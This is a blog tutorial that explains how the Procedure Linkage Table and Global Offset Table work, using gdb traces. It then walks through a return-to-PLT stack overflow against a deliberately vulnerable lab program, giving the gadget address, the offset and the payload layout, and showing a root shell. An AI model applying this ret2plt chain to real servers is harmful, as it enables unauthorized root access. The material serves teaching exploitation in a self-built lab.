Return to PLT, GOT to bypass ASLR remotely


We learned how to use format string vulnerability to leak contents of memory to bypass nx bit, stack canary and ASLR in last post. This time we will focus on what are Procedure Linkage Table and Global Offset Table. As we know all instructions for our C functions like printf, scanf, malloc, system, etc are in glibc. When we call such functions in our code, they are dynamically linked to our binary and then executed unless the -static option was given during compilation. This greatly reduces the size of executable. Let's look a little bit on how it happens.

Consider this small code.

Compile it with '-no-pie' flag. Position Independent Executable (PIE) is an exploit mitigation technique which loads different sections of executable at random addresses making it harder for attacker to find correct address. Addresses in such executables are usually calculated by relative offsets. We don't want that now.
virtual@mecha:~$ gcc plt_demo.c -o plt_demo -no-pie
Let's load it in gdb and see.
virtual@mecha:~$ gdb -q plt_demo                   
Reading symbols from plt_demo...(no debugging symbols found)...done.
gdb-peda$ b *main+11
Breakpoint 1 at 0x4005cd
gdb-peda$ r
Starting program: /home/archer/plt_demo 
[----------------------------------registers-----------------------------------]
RAX: 0x4005c2 (: push   rbp)
RBX: 0x0 
RCX: 0x7ffff7dd2578 --> 0x7ffff7dd3be0 --> 0x0 
RDX: 0x7fffffffd938 --> 0x7fffffffde05 ("XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0")
RSI: 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/plt_demo")
RDI: 0x400684 ("This is the first printf.")
RBP: 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
RIP: 0x4005cd (<main+11>: call   0x4004c0 <puts@plt>)
R8 : 0x7ffff7dd3be0 --> 0x0 
R9 : 0x7ffff7dd3be0 --> 0x0 
R10: 0x3 
R11: 0x2 
R12: 0x4004e0 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffd920 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4005c2 : push   rbp
   0x4005c3 <main+1>: mov    rbp,rsp
   0x4005c6 <main+4>: lea    rdi,[rip+0xb7]        # 0x400684
=> 0x4005cd <main+11>: call   0x4004c0 <puts@plt>
   0x4005d2 <main+16>: lea    rdi,[rip+0xc5]        # 0x40069e
   0x4005d9 <main+23>: call   0x4004c0 <puts@plt>
   0x4005de <main+28>: lea    rdi,[rip+0xc9]        # 0x4006ae
   0x4005e5 <main+35>: call   0x4004d0 <system@plt>
Guessed arguments:
arg[0]: 0x400684 ("This is the first printf.")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
0008| 0x7fffffffd848 --> 0x7ffff7a3f06b (<__libc_start_main+235>: mov    edi,eax)
0016| 0x7fffffffd850 --> 0x0 
0024| 0x7fffffffd858 --> 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/plt_demo")
0032| 0x7fffffffd860 --> 0x100040000 
0040| 0x7fffffffd868 --> 0x4005c2 (: push   rbp)
0048| 0x7fffffffd870 --> 0x0 
0056| 0x7fffffffd878 --> 0x81a10dfb5a7dcac5 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004005cd in main ()
You would have noticed while debugging programs by now that whenever we call a function example 'puts'. We see puts@plt is called instead of directly calling the function. You will notice that this address actually belongs to .plt (Procedure Linkage Table) section of elf.
virtual@mecha:~$ objdump plt_demo -h
plt_demo: file format elf64-x86-64
Sections:
Idx Name          Size      VMA               LMA               File off  Algn
 11 .plt          00000030  00000000004004b0  00000000004004b0  000004b0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 20 .got          00000020  0000000000600fe0  0000000000600fe0  00000fe0  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got.plt      00000028  0000000000601000  0000000000601000  00001000  2**3
                  CONTENTS, ALLOC, LOAD, DATA
Now let's step into(si)  'puts@plt'.
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0x4005c2 (: push   rbp)
RBX: 0x0 
RCX: 0x7ffff7dd2578 --> 0x7ffff7dd3be0 --> 0x0 
RDX: 0x7fffffffd938 --> 0x7fffffffde05 ("XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0")
RSI: 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/compiler_tests/plt_demo")
RDI: 0x400684 ("This is the first printf.")
RBP: 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffd838 --> 0x4005d2 (<main+16>: lea    rdi,[rip+0xc5]        # 0x40069e)
RIP: 0x4004c0 (<puts@plt>: jmp    QWORD PTR [rip+0x200b52]        # 0x601018)
R8 : 0x7ffff7dd3be0 --> 0x0 
R9 : 0x7ffff7dd3be0 --> 0x0 
R10: 0x3 
R11: 0x2 
R12: 0x4004e0 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffd920 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4004b0:    push   QWORD PTR [rip+0x200b52]       # 0x601008
   0x4004b6: jmp    QWORD PTR [rip+0x200b54]        # 0x601010
   0x4004bc: nop    DWORD PTR [rax+0x0]
=> 0x4004c0 <puts@plt>:   jmp    QWORD PTR [rip+0x200b52]        # 0x601018
 | 0x4004c6 <puts@plt+6>: push   0x0
 | 0x4004cb <puts@plt+11>: jmp    0x4004b0
 | 0x4004d0 <system@plt>: jmp    QWORD PTR [rip+0x200b4a]        # 0x601020
 | 0x4004d6 <system@plt+6>: push   0x1
 |->   0x4004c6 <puts@plt+6>: push   0x0
       0x4004cb <puts@plt+11>: jmp    0x4004b0
       0x4004d0 <system@plt>: jmp    QWORD PTR [rip+0x200b4a]        # 0x601020
       0x4004d6 <system@plt+6>: push   0x1
       0x4004db <system@plt+11>:jmp   0x4004b0
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd838 --> 0x4005d2 (<main+16>: lea    rdi,[rip+0xc5]        # 0x40069e)
0008| 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
0016| 0x7fffffffd848 --> 0x7ffff7a3f06b (<__libc_start_main+235>: mov    edi,eax)
0024| 0x7fffffffd850 --> 0x0 
0032| 0x7fffffffd858 --> 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/compiler_tests/plt_demo")
0040| 0x7fffffffd860 --> 0x100040000 
0048| 0x7fffffffd868 --> 0x4005c2 (: push   rbp)
0056| 0x7fffffffd870 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004004c0 in puts@plt ()
gdb-peda$ x/gx 0x601018
0x601018: 0x00000000004004c6 

We reach puts@plt. Here you can see there is first a jump to $rip+0x200b52 i.e. 0x601018 which is in .got.plt section. But currently it just contains the address to *puts@plt+6. So instruction pointer now points to next instruction in puts@plt instead of jumping to that address. Then it pushes a value on stack and then there is unconditional jump to address 0x4004b0 which also belongs to plt section. Also if you see plt entry of system, it also pushes a value on stack then jumps to that address. Then again it pushes some value on stack and then jumps to 0x601010 which again jumps to another address which belongs to '/usr/lib/ld-*.so' as you can see below and we have finally reached _dl_runtime_resolve_xsavec.
gdb-peda$ x/gx 0x601010
0x601010: 0x00007ffff7ded4a0
gdb-peda$ x/5i 0x00007ffff7ded4a0
   0x7ffff7ded4a0 <_dl_runtime_resolve_xsavec>:         push   rbx
   0x7ffff7ded4a1 <_dl_runtime_resolve_xsavec+1>: mov    rbx,rsp
   0x7ffff7ded4a4 <_dl_runtime_resolve_xsavec+4>: and    rsp,0xffffffffffffffc0
   0x7ffff7ded4a8 <_dl_runtime_resolve_xsavec+8>: sub    rsp,QWORD PTR [rip+0x20f339]        # 0x7ffff7ffc7e8 <_rtld_local_ro+168>
   0x7ffff7ded4af <_dl_runtime_resolve_xsavec+15>: mov    QWORD PTR [rsp],rax
gdb-peda$ vmmap
Start              End                Perm Name
0x00400000         0x00401000         r-xp /home/archer/compiler_tests/plt_demo
0x00600000         0x00601000         r--p /home/archer/compiler_tests/plt_demo
0x00601000         0x00602000         rw-p /home/archer/compiler_tests/plt_demo
0x00007ffff7a1c000 0x00007ffff7bcf000 r-xp /usr/lib/libc-2.27.so
0x00007ffff7bcf000 0x00007ffff7dce000 ---p /usr/lib/libc-2.27.so
0x00007ffff7dce000 0x00007ffff7dd2000 r--p /usr/lib/libc-2.27.so
0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p /usr/lib/libc-2.27.so
0x00007ffff7dd4000 0x00007ffff7dd8000 rw-p mapped
0x00007ffff7dd8000 0x00007ffff7dfd000 r-xp /usr/lib/ld-2.27.so
0x00007ffff7fb3000 0x00007ffff7fb5000 rw-p mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffdd000 0x00007ffffffff000 rw-p [stack]
gdb-peda$ si
[-------------------------------------code-------------------------------------]
   0x4004ae <_init+22>: ret    
   0x4004af: add    bh,bh
   0x4004b1: xor    eax,0x200b52
=> 0x4004b6: jmp    QWORD PTR [rip+0x200b54]        # 0x601010
 | 0x4004bc: nop    DWORD PTR [rax+0x0]
 | 0x4004c0 <puts@plt>: jmp    QWORD PTR [rip+0x200b52]        # 0x601018
 | 0x4004c6 <puts@plt+6>: push   0x0
 | 0x4004cb <puts@plt+11>: jmp    0x4004b0
 |->   0x7ffff7ded4a0 <_dl_runtime_resolve_xsavec>: push   rbx
       0x7ffff7ded4a1 <_dl_runtime_resolve_xsavec+1>: mov    rbx,rsp
       0x7ffff7ded4a4 <_dl_runtime_resolve_xsavec+4>: and    rsp,0xffffffffffffffc0
       0x7ffff7ded4a8 <_dl_runtime_resolve_xsavec+8>: sub    rsp,QWORD PTR [rip+0x20f339]        # 0x7ffff7ffc7e8 <_rtld_local_ro+168>
                                                                  JUMP is taken
So what the hell is all going on here ? What is this ld.so ? Why are we in it ?

Let's read man page for ld.so.
DESCRIPTION
       The programs ld.so and ld-linux.so* find and load the shared objects (shared libraries) needed by a program,
       prepare the program to run, and then run it.
       Linux binaries require dynamic linking (linking at run time) unless the -static option was given to ld(1) during compilation.
Oh ! So this is our magic program which finds the correct addresses of functions in other shared libraries even when ASLR is on and dynamically links it to executable via Global Offset Table. Offsets to global variables from dynamic libraries are not known during compile time, this is why they are read from the GOT table during runtime. There's a lot more on how this happens that you can read.

So this way the program counter will reach the correct address of our function in libc or any shared library. The address is then saved in GOT entry of function. So whenever you call the same function again it will jump directly to correct address. You can verify it.
Breakpoint 2, 0x00000000004005d9 in main ()
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0x1a 
RBX: 0x0 
RCX: 0x7ffff7b059d4 (<write+20>: cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dd4720 --> 0x0 
RSI: 0x602260 ("This is the first printf.\n")
RDI: 0x40069e ("This is second.")
RBP: 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffd838 --> 0x4005de (<main+28>: lea    rdi,[rip+0xc9]        # 0x4006ae)
RIP: 0x4004c0 (<puts@plt>: jmp    QWORD PTR [rip+0x200b52]        # 0x601018)
R8 : 0x3 
R9 : 0x0 
R10: 0x602010 --> 0x0 
R11: 0x246 
R12: 0x4004e0 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffd920 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4004b1: xor    eax,0x200b52
   0x4004b6: jmp    QWORD PTR [rip+0x200b54]        # 0x601010
   0x4004bc: nop    DWORD PTR [rax+0x0]
=> 0x4004c0 <puts@plt>: jmp    QWORD PTR [rip+0x200b52]        # 0x601018
 | 0x4004c6 <puts@plt+6>: push   0x0
 | 0x4004cb <puts@plt+11>: jmp    0x4004b0
 | 0x4004d0 <system@plt>: jmp    QWORD PTR [rip+0x200b4a]        # 0x601020
 | 0x4004d6 <system@plt+6>: push   0x1
 |->   0x7ffff7a8cbf0 <puts>: push   r13
       0x7ffff7a8cbf2 <puts+2>: push   r12
       0x7ffff7a8cbf4 <puts+4>: mov    r12,rdi
       0x7ffff7a8cbf7 <puts+7>: push   rbp
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd838 --> 0x4005de (<main+28>: lea    rdi,[rip+0xc9]        # 0x4006ae)
0008| 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
0016| 0x7fffffffd848 --> 0x7ffff7a3f06b (<__libc_start_main+235>: mov    edi,eax)
0024| 0x7fffffffd850 --> 0x0 
0032| 0x7fffffffd858 --> 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/compiler_tests/plt_demo")
0040| 0x7fffffffd860 --> 0x100040000 
0048| 0x7fffffffd868 --> 0x4005c2 (: push   rbp)
0056| 0x7fffffffd870 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004004c0 in puts@plt ()
When we call the second puts. This time it jumps directly into libc's puts address as the correct address is now written in GOT . Same procedure will happen when other shared library functions are called.

Return to PLT

Cool. We know how PLT and GOT work. Now how can we (ab)use them ? Since this is a position independent executable the functions and sections in binary will always be loaded at same address. As an attacker we can return to these functions with proper parameters and alter the control flow in our favour to some extent without worrying about ASLR. Check out this simple program, we will serve remotely.

It sets no buffering for stdin and stdout. Executes "clear" to clear terminal and then asks some description with scanf. It might do something else with it but that's not important to us now. Compile it without stack canary and -no-pie.
virtual@mecha:~$ gcc ret2plt.c -o ret2plt -fno-stack-protector -no-pie
We will be running it on server as root so use this command.
remote@server:~$ sudo socat tcp-listen:5556,reuseaddr,fork, exec:"./ret2plt"
Since there is no stack canary we can easily overwrite return address. Now we can try to return to some interesting functions. Did you notice system function ? If we can return to system@plt with 'sh' as argument, we can get shell. More reasons not to use system like functions in your code. ;p

Since we are working on 64 bit system, we need to pass parameter to system from rdi register. So to execute 'sh'. Address of sh string should be in rdi register. Can we find a rop gadget like pop rdi; ret in binary itself ? So we can return to it first so that address of 'sh' can be popped into rdi and then we can call system.

Two things to find.
  1. Address of 'pop rdi; ret' instruction.
  2. Address of 'sh' string.
We need to find these in elf only cause the ASLR is on and we don't know libc of remote server. So we will return to self.

For 'pop rdi' instruction, I am using ROPgadget tool on executable.
virtual@mecha:~$ python ROPgadget.py --binary ~/compiler_tests/ret2plt --only "pop|ret" | grep rdi
0x00000000004007b3 : pop rdi ; ret
Awesome. The instruction is available at address 0x4007b3 in binary.

To find 'sh' string you can use strings and grep command or just load it in gdb and find.
gdb-peda$ find sh
Searching for 'sh' in: None ranges
Found 105 results, display max 105 items:
   ret2plt : 0x400821 --> 0xa00000000006873 ('sh')
   ret2plt : 0x600821 --> 0xa00000000006873 ('sh')
gdb-peda$ x/s 0x400821-19
0x40080e: "Please don't ;) crash"
If you check, that sh is actually from the end of the string crash. We can use it from address of sh and pass it as argument. Great.

Only thing left is to find offset to return address. You can find that with long input or pattern and analyzing in gdb.
virtual@mecha:~$ /opt/metasploit/tools/exploit/pattern_offset.rb -q 0x6541316541306541
[*] Exact match at offset 120
Found it at 120 bytes. Time to make exploit. Here's what our payload will be.
payload = 'A'*120 + pop_rdi;ret + address_of_'sh' + system@plt
One thing to keep in mind here is bad characters, since there is scanf("%s",desc); in source code from which we will be entering our payload. Here's what man page of scanf says for %s.
s   Matches a sequence of non-white-space characters; the next pointer must be a pointer to the initial element of a character array  that  is  long  enough  to  hold  the  input
    sequence and the terminating null byte ('\0'), which is added automatically.
    The input string stops at white space or at the maximum field width, whichever occurs first.
So it stops at white space which is 0x20 in hex in ascii table. We have to keep in mind to not have any 0x20 in payload and we will do fine. Putting it all together, here's the exploit script.


Fortunately we didn't encounter any bad character 0x20 in payload. Run it against target server and you will get a shell.
virtual@mecha:~$ python plt.py 
[*] Connecting to server !!
[*] Connected.
########  Welcome to Command Center ########

Please don't ;) crash
Enter mission description:
>
[*] Sending payload ..
[*] Got shell. Enter commands.
 Description Updated !
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log)
[manjaro archer]# whoami
whoami
root
[manjaro archer]# pwd
pwd
/home/archer
[manjaro archer]#
Great. We got root as target server was running as root.


This time we used return to plt to bypass ASLR. We just called system to get shell as it was in the code. You can use PLT and GOT to call more functions without worrying about ASLR and with proper arguments even leak important addresses and memory with them so they can be helpful in further exploitation. We will see more on that in next articles. Keep practicing.

For any queries contact : @ShivamShrirao

Next Read: Format Strings: GOT Table Overwrite To Change Control Flow Remotely On ASLR 

Comments

Popular Posts